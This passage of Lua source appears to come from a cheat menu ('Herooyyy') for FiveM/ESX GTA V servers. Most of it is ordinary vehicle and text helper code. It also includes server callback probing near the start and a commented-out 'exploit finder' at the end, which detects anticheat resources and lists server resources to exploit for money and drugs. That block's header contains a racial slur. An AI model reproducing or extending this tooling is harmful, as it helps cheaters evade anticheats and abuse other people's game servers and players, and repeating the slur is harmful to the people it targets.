6951 Herooyyy.datastore.ESX.TriggerServerCallback('^'..i..'d'..'opamine'..math.random(5000, 10000), function(players)
6952 end)
6953 end
6954 else
6955 Herooyyy.pushNotification('ESX was not found', 5000)
6956 end
6957end
6958
6959--[[
6960 Game functions(text, math, etc).
6961]]
6962
6963Herooyyy.functions.game = {}
6964
6965Herooyyy.functions.game.isNullOrEmpty = function(str)
6966 return str == nil or str == ''
6967end
6968
6969Herooyyy.functions.game.subtitle = function(message, duration, drawImmediately)
6970 if duration == nil then
6971 duration = 2500
6972 end
6973 if drawImmediately == nil then
6974 drawImmediately = true
6975 end
6976 ClearPrints()
6977 SetTextEntry_2('STRING')
6978 for i = 1, message:len(), 99 do
6979 Herooyyy.natives.addTextComponentSubstringPlayerName(string.sub(message, i, i + 99))
6980 end
6981 DrawSubtitleTimed(duration, drawImmediately)
6982end
6983
6984Herooyyy.functions.game.getVehicles = function()
6985 local vehicles = {}
6986
6987 for vehicle in Herooyyy.trashFunctions.enumVehicles() do
6988 table.insert(vehicles, vehicle)
6989 end
6990
6991 return vehicles
6992end
6993
6994Herooyyy.functions.game.getVehiclesInArea = function(coords, area)
6995 local vehicles = Herooyyy.functions.game.getVehicles()
6996 local vehiclesInArea = {}
6997
6998 for i = 1, #vehicles, 1 do
6999 local vehicleCoords = GetEntityCoords(vehicles[i])
7000 local distance = GetDistanceBetweenCoords(vehicleCoords, coords.x, coords.y, coords.z, true)
7001
7002 if distance <= area then
7003 table.insert(vehiclesInArea, vehicles[i])
7004 end
7005 end
7006
7007 return vehiclesInArea
7008end
7009
7010Herooyyy.functions.game.driftSmoke = function(base, sub, car, dens, size)
7011 all_part = {}
7012
7013 for i = 0,dens do
7014 UseParticleFxAssetNextCall(base)
7015 W1 = StartParticleFxLoopedOnEntityBone(sub, car, 0.05, 0, 0, 0, 0, 0, GetEntityBoneIndexByName(car, 'wheel_lr'), size, 0, 0, 0)
7016
7017 UseParticleFxAssetNextCall(base)
7018 W2 = StartParticleFxLoopedOnEntityBone(sub, car, 0.05, 0, 0, 0, 0, 0, GetEntityBoneIndexByName(car, 'wheel_rr'), size, 0, 0, 0)
7019
7020 table.insert(all_part, 1, W1)
7021 table.insert(all_part, 2, W2)
7022 end
7023
7024 pWait(1000)
7025
7026 for _,W1 in pairs(all_part) do
7027 StopParticleFxLooped(W1, true)
7028 end
7029end
7030
7031Herooyyy.functions.game.vehicleAngle = function(veh)
7032 if not veh then return false end
7033 local vx,vy,vz = table.unpack(GetEntityVelocity(veh))
7034 local modV = math.sqrt(vx*vx + vy*vy)
7035
7036 local rx,ry,rz = table.unpack(GetEntityRotation(veh,0))
7037 local sn,cs = -math.sin(math.rad(rz)), math.cos(math.rad(rz))
7038
7039 if GetEntitySpeed(veh)* 3.6 < 5 or GetVehicleCurrentGear(veh) == 0 then return 0,modV end
7040
7041 local cosX = (sn*vx + cs*vy)/modV
7042 if cosX > 0.966 or cosX < 0 then return 0,modV end
7043 return math.deg(math.acos(cosX))*0.5, modV
7044end
7045
7046Herooyyy.functions.initializeUpgradesTab = function()
7047 local currentVehicle = Herooyyy.datastore.pLocalPlayer.cVehicle
7048 if currentVehicle then
7049 for i, actual_i in pairs(Herooyyy.menuTables.vehiclePerformanceTable) do
7050 if Herooyyy.menuButton(actual_i.name,'vehicleLosSantosCustomsPerformance'..actual_i.name) then
7051 end
7052 end
7053 --[[SetVehicleModKit(currentVehicle, 0)
7054 local modType = 15
7055 local modName = 'Suspension Level '
7056 local modCount = GetNumVehicleMods(currentVehicle, modType) - 1
7057 for i=0, modCount, 1 do
7058 if Herooyyy.button(modName..i, 'Native') then
7059 SetVehicleMod(currentVehicle, modType, i)
7060 end
7061 end]]
7062 end
7063end
7064
7065Herooyyy.functions.game.getVehicleProperties = function(vehicle)
7066 if DoesEntityExist(vehicle) then
7067 local colorPrimary, colorSecondary = GetVehicleColours(vehicle)
7068 local pearlescentColor, wheelColor = GetVehicleExtraColours(vehicle)
7069 local extras = {}
7070
7071 for id=0, 12 do
7072 if Herooyyy.natives.doesExtraExist(vehicle, id) then
7073 local state = IsVehicleExtraTurnedOn(vehicle, id) == 1
7074 extras[tostring(id)] = state
7075 end
7076 end
7077
7078 return {
7079 model = GetEntityModel(vehicle),
7080
7081 plate = Herooyyy.functions.Math.Trim(GetVehicleNumberPlateText(vehicle)),
7082 plateIndex = GetVehicleNumberPlateTextIndex(vehicle),
7083
7084 bodyHealth = Herooyyy.functions.Math.Round(GetVehicleBodyHealth(vehicle), 1),
7085 engineHealth = Herooyyy.functions.Math.Round(GetVehicleEngineHealth(vehicle), 1),
7086
7087 fuelLevel = Herooyyy.functions.Math.Round(GetVehicleFuelLevel(vehicle), 1),
7088 dirtLevel = Herooyyy.functions.Math.Round(GetVehicleDirtLevel(vehicle), 1),
7089 color1 = colorPrimary,
7090 color2 = colorSecondary,
7091
7092 pearlescentColor = pearlescentColor,
7093 wheelColor = wheelColor,
7094
7095 wheels = GetVehicleWheelType(vehicle),
7096 windowTint = GetVehicleWindowTint(vehicle),
7097 xenonColor = Herooyyy.natives.getVehicleXenonLightsColour(vehicle),
7098
7099 neonEnabled = {
7100 IsVehicleNeonLightEnabled(vehicle, 0),
7101 IsVehicleNeonLightEnabled(vehicle, 1),
7102 IsVehicleNeonLightEnabled(vehicle, 2),
7103 IsVehicleNeonLightEnabled(vehicle, 3)
7104 },
7105
7106 neonColor = table.pack(GetVehicleNeonLightsColour(vehicle)),
7107 extras = extras,
7108 tyreSmokeColor = table.pack(GetVehicleTyreSmokeColor(vehicle)),
7109
7110 modSpoilers = GetVehicleMod(vehicle, 0),
7111 modFrontBumper = GetVehicleMod(vehicle, 1),
7112 modRearBumper = GetVehicleMod(vehicle, 2),
7113 modSideSkirt = GetVehicleMod(vehicle, 3),
7114 modExhaust = GetVehicleMod(vehicle, 4),
7115 modFrame = GetVehicleMod(vehicle, 5),
7116 modGrille = GetVehicleMod(vehicle, 6),
7117 modHood = GetVehicleMod(vehicle, 7),
7118 modFender = GetVehicleMod(vehicle, 8),
7119 modRightFender = GetVehicleMod(vehicle, 9),
7120 modRoof = GetVehicleMod(vehicle, 10),
7121
7122 modEngine = GetVehicleMod(vehicle, 11),
7123 modBrakes = GetVehicleMod(vehicle, 12),
7124 modTransmission = GetVehicleMod(vehicle, 13),
7125 modHorns = GetVehicleMod(vehicle, 14),
7126 modSuspension = GetVehicleMod(vehicle, 15),
7127 modArmor = GetVehicleMod(vehicle, 16),
7128
7129 modTurbo = IsToggleModOn(vehicle, 18),
7130 modSmokeEnabled = IsToggleModOn(vehicle, 20),
7131 modXenon = IsToggleModOn(vehicle, 22),
7132
7133 modFrontWheels = GetVehicleMod(vehicle, 23),
7134 modBackWheels = GetVehicleMod(vehicle, 24),
7135
7136 modPlateHolder = GetVehicleMod(vehicle, 25),
7137 modVanityPlate = GetVehicleMod(vehicle, 26),
7138 modTrimA = GetVehicleMod(vehicle, 27),
7139 modOrnaments = GetVehicleMod(vehicle, 28),
7140 modDashboard = GetVehicleMod(vehicle, 29),
7141 modDial = GetVehicleMod(vehicle, 30),
7142 modDoorSpeaker = GetVehicleMod(vehicle, 31),
7143 modSeats = GetVehicleMod(vehicle, 32),
7144 modSteeringWheel = GetVehicleMod(vehicle, 33),
7145 modShifterLeavers = GetVehicleMod(vehicle, 34),
7146 modAPlate = GetVehicleMod(vehicle, 35),
7147 modSpeakers = GetVehicleMod(vehicle, 36),
7148 modTrunk = GetVehicleMod(vehicle, 37),
7149 modHydrolic = GetVehicleMod(vehicle, 38),
7150 modEngineBlock = GetVehicleMod(vehicle, 39),
7151 modAirFilter = GetVehicleMod(vehicle, 40),
7152 modStruts = GetVehicleMod(vehicle, 41),
7153 modArchCover = GetVehicleMod(vehicle, 42),
7154 modAerials = GetVehicleMod(vehicle, 43),
7155 modTrimB = GetVehicleMod(vehicle, 44),
7156 modTank = GetVehicleMod(vehicle, 45),
7157 modWindows = GetVehicleMod(vehicle, 46),
7158 modLivery = GetVehicleLivery(vehicle),
7159
7160 suspensionRaise = GetVehicleHandlingFloat(vehicle, 'CHandlingData', 'fSuspensionRaise'),
7161 }
7162 else
7163 return
7164 end
7165end
7166
7167Herooyyy.functions.game.setVehicleProperties = function(vehicle, props)
7168 if DoesEntityExist(vehicle) then
7169 local colorPrimary, colorSecondary = GetVehicleColours(vehicle)
7170 local pearlescentColor, wheelColor = GetVehicleExtraColours(vehicle)
7171 SetVehicleModKit(vehicle, 0)
7172
7173 if props.plate then SetVehicleNumberPlateText(vehicle, props.plate) end
7174 if props.plateIndex then SetVehicleNumberPlateTextIndex(vehicle, props.plateIndex) end
7175 if props.bodyHealth then SetVehicleBodyHealth(vehicle, props.bodyHealth + 0.0) end
7176 if props.engineHealth then SetVehicleEngineHealth(vehicle, props.engineHealth + 0.0) end
7177 if props.fuelLevel then SetVehicleFuelLevel(vehicle, props.fuelLevel + 0.0) end
7178 if props.dirtLevel then SetVehicleDirtLevel(vehicle, props.dirtLevel + 0.0) end
7179 if props.color1 then SetVehicleColours(vehicle, props.color1, colorSecondary) end
7180 if props.color2 then SetVehicleColours(vehicle, props.color1 or colorPrimary, props.color2) end
7181 if props.pearlescentColor then SetVehicleExtraColours(vehicle, props.pearlescentColor, wheelColor) end
7182 if props.wheelColor then SetVehicleExtraColours(vehicle, props.pearlescentColor or pearlescentColor, props.wheelColor) end
7183 if props.wheels then SetVehicleWheelType(vehicle, props.wheels) end
7184 if props.windowTint then SetVehicleWindowTint(vehicle, props.windowTint) end
7185
7186 if props.neonEnabled then
7187 SetVehicleNeonLightEnabled(vehicle, 0, props.neonEnabled[1])
7188 SetVehicleNeonLightEnabled(vehicle, 1, props.neonEnabled[2])
7189 SetVehicleNeonLightEnabled(vehicle, 2, props.neonEnabled[3])
7190 SetVehicleNeonLightEnabled(vehicle, 3, props.neonEnabled[4])
7191 end
7192
7193 if props.extras then
7194 for id,enabled in pairs(props.extras) do
7195 if enabled then
7196 SetVehicleExtra(vehicle, tonumber(id), 0)
7197 else
7198 SetVehicleExtra(vehicle, tonumber(id), 1)
7199 end
7200 end
7201 end
7202
7203 if props.neonColor then SetVehicleNeonLightsColour(vehicle, props.neonColor[1], props.neonColor[2], props.neonColor[3]) end
7204 if props.xenonColor then Herooyyy.natives.setVehicleXenonLightsColour(vehicle, props.xenonColor) end
7205 if props.modSmokeEnabled then ToggleVehicleMod(vehicle, 20, true) end
7206 if props.tyreSmokeColor then SetVehicleTyreSmokeColor(vehicle, props.tyreSmokeColor[1], props.tyreSmokeColor[2], props.tyreSmokeColor[3]) end
7207 if props.modSpoilers then SetVehicleMod(vehicle, 0, props.modSpoilers, false) end
7208 if props.modFrontBumper then SetVehicleMod(vehicle, 1, props.modFrontBumper, false) end
7209 if props.modRearBumper then SetVehicleMod(vehicle, 2, props.modRearBumper, false) end
7210 if props.modSideSkirt then SetVehicleMod(vehicle, 3, props.modSideSkirt, false) end
7211 if props.modExhaust then SetVehicleMod(vehicle, 4, props.modExhaust, false) end
7212 if props.modFrame then SetVehicleMod(vehicle, 5, props.modFrame, false) end
7213 if props.modGrille then SetVehicleMod(vehicle, 6, props.modGrille, false) end
7214 if props.modHood then SetVehicleMod(vehicle, 7, props.modHood, false) end
7215 if props.modFender then SetVehicleMod(vehicle, 8, props.modFender, false) end
7216 if props.modRightFender then SetVehicleMod(vehicle, 9, props.modRightFender, false) end
7217 if props.modRoof then SetVehicleMod(vehicle, 10, props.modRoof, false) end
7218 if props.modEngine then SetVehicleMod(vehicle, 11, props.modEngine, false) end
7219 if props.modBrakes then SetVehicleMod(vehicle, 12, props.modBrakes, false) end
7220 if props.modTransmission then SetVehicleMod(vehicle, 13, props.modTransmission, false) end
7221 if props.modHorns then SetVehicleMod(vehicle, 14, props.modHorns, false) end
7222 if props.modSuspension then SetVehicleMod(vehicle, 15, props.modSuspension, false) end
7223 if props.modArmor then SetVehicleMod(vehicle, 16, props.modArmor, false) end
7224 if props.modTurbo then ToggleVehicleMod(vehicle, 18, props.modTurbo) end
7225 if props.modXenon then ToggleVehicleMod(vehicle, 22, props.modXenon) end
7226 if props.modFrontWheels then SetVehicleMod(vehicle, 23, props.modFrontWheels, false) end
7227 if props.modBackWheels then SetVehicleMod(vehicle, 24, props.modBackWheels, false) end
7228 if props.modPlateHolder then SetVehicleMod(vehicle, 25, props.modPlateHolder, false) end
7229 if props.modVanityPlate then SetVehicleMod(vehicle, 26, props.modVanityPlate, false) end
7230 if props.modTrimA then SetVehicleMod(vehicle, 27, props.modTrimA, false) end
7231 if props.modOrnaments then SetVehicleMod(vehicle, 28, props.modOrnaments, false) end
7232 if props.modDashboard then SetVehicleMod(vehicle, 29, props.modDashboard, false) end
7233 if props.modDial then SetVehicleMod(vehicle, 30, props.modDial, false) end
7234 if props.modDoorSpeaker then SetVehicleMod(vehicle, 31, props.modDoorSpeaker, false) end
7235 if props.modSeats then SetVehicleMod(vehicle, 32, props.modSeats, false) end
7236 if props.modSteeringWheel then SetVehicleMod(vehicle, 33, props.modSteeringWheel, false) end
7237 if props.modShifterLeavers then SetVehicleMod(vehicle, 34, props.modShifterLeavers, false) end
7238 if props.modAPlate then SetVehicleMod(vehicle, 35, props.modAPlate, false) end
7239 if props.modSpeakers then SetVehicleMod(vehicle, 36, props.modSpeakers, false) end
7240 if props.modTrunk then SetVehicleMod(vehicle, 37, props.modTrunk, false) end
7241 if props.modHydrolic then SetVehicleMod(vehicle, 38, props.modHydrolic, false) end
7242 if props.modEngineBlock then SetVehicleMod(vehicle, 39, props.modEngineBlock, false) end
7243 if props.modAirFilter then SetVehicleMod(vehicle, 40, props.modAirFilter, false) end
7244 if props.modStruts then SetVehicleMod(vehicle, 41, props.modStruts, false) end
7245 if props.modArchCover then SetVehicleMod(vehicle, 42, props.modArchCover, false) end
7246 if props.modAerials then SetVehicleMod(vehicle, 43, props.modAerials, false) end
7247 if props.modTrimB then SetVehicleMod(vehicle, 44, props.modTrimB, false) end
7248 if props.modTank then SetVehicleMod(vehicle, 45, props.modTank, false) end
7249 if props.modWindows then SetVehicleMod(vehicle, 46, props.modWindows, false) end
7250
7251 if props.modLivery then
7252 SetVehicleMod(vehicle, 48, props.modLivery, false)
7253 SetVehicleLivery(vehicle, props.modLivery)
7254 end
7255
7256 if props.suspensionRaise then
7257 SetVehicleHandlingFloat(vehicle, 'CHandlingData', 'fSuspensionRaise', props.suspensionRaise)
7258 end
7259 end
7260end
7261
7262--[[niggerian trash exploit finder
7263
7264do
7265 local totalExploitablesTable = {}
7266 local veriScaryAntiCheats = {
7267 'anticheat', 'esx_anticheat', 'alphaveta', 'dfwm', 'fzac',
7268 'anticheese', 'skinchanger2', 'NSAC', 'avac', 'nertigel_ac'
7269 }
7270 local exploitablesDrugs = {
7271 'esx_drugs', 'esx_illegal_drugs'
7272 }
7273 local exploitablesMoneyMaker = {
7274 'esx_vangelico_robbery','esx_vangelico','esx_burglary','99kr-burglary','esx_minerjob',
7275 'esx_mining','esx_miner','esx_fishing','james_fishing','loffe-fishing',
7276 'esx_mugging','loffe_robbery','esx_prisonwork','loffe_prisonwork','esx_robnpc',
7277 'MF_DrugSales','MF_drugsales','ESX_DrugSales','lenzh_chopshop','esx_chopshop',
7278 'ESX_Deliveries','ESX_Cargodelivery','napadtransport','Napad_transport_z_gotowka','esx_truck_robbery',
7279 'napadnakase','Napad_na_kase','utk_oh','utk_ornateheist','aurora_principalbank',
7280 'esx_hunting','esx_qalle_hunting','esx-qalle-hunting','esx_taxijob','esx_taxi',
7281 'esx_carthiefjob','esx_carthief','esx_rangerjob','esx_ranger','esx_godirtyjob',
7282 'esx_godirty','esx_banksecurityjob','esx_banksecurity','esx_pilotjob','esx_pilot',
7283 'esx_pizzajob','esx_pizza','esx_gopostaljob','esx_gopostal','esx_garbagejob',
7284 'esx_garbage', 'esx_truckerjob', 'esx_trucker'
7285 }
7286
7287 local totalAnticheats = 0
7288 local totalExploitableMoneyMaker = 0
7289 local totalExploitableDrugs = 0
7290 for i=1, #exploitablesMoneyMaker do
7291 if Herooyyy.functions.doesResourceExist(exploitablesMoneyMaker[i]) then
7292 table.insert(totalExploitablesTable, exploitablesMoneyMaker[i])
7293 totalExploitableMoneyMaker = totalExploitableMoneyMaker + 1
7294 end
7295 end
7296 for i=1, #exploitablesDrugs do
7297 if Herooyyy.functions.doesResourceExist(exploitablesDrugs[i]) then
7298 table.insert(totalExploitablesTable, exploitablesDrugs[i])
7299 totalExploitableDrugs = totalExploitableDrugs + 1
7300 end
7301 end
7302 for i=1, #veriScaryAntiCheats do
7303 if Herooyyy.functions.doesResourceExist(veriScaryAntiCheats[i]) then
7304 totalAnticheats = totalAnticheats + 1
7305 end
7306 end
7307
7308 dir_print('Vulnerable resource found: '..json.encode(totalExploitablesTable))
7309 dir_print('Anticheats: '..totalAnticheats)
7310 dir_print(
7311 '\nTotal Exploitables:\n'..
7312 ' Moneymaker: '..totalExploitableMoneyMaker..'\n'..
7313 ' Drugs: '..totalExploitableDrugs..'\n'
7314 )
7315end]]
7316end